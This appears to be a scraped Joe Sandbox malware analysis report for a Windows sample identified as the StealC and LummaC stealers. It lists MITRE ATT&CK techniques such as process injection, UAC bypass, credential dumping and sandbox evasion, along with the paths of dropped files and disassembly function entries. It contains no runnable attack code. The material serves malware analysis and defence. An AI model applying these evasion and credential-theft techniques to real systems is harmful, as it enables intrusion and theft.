Associated: 00000003.00000002.1780080612.0000000000502000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780130463.000000000053D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780162660.000000000053E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780262160.0000000000556000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780293146.0000000000558000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction ID: 345ff10cd5a1d028a3486b63a43012757a97f7d5ecb7ab8f34954b42d025b6a1
Opcode Fuzzy Hash: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction Fuzzy Hash: 79C04CB84241099FDB165F14C844AFE7769EB24711F114518AEC141650D2361C70DE16

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FBVmDbz2nb.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\225E7CNEQKY05J8BSS2KINA.exe.log

C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
FBVmDbz2nb.exe

Function 00442E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Function 00434DD2 Relevance: 1.6, APIs: 1, Instructions: 144
libraryCOMMON

Function 004387AA Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Function 004387D8 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Function 0043880C Relevance: 1.6, APIs: 1, Instructions: 96
fileCOMMON

Function 00438B4F Relevance: 1.6, APIs: 1, Instructions: 72
fileCOMMON

Function 04A00D41 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 04A00D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04A01509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04A01510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 00438B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 00438BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Function 04A01301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04A01308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00438BC7 Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre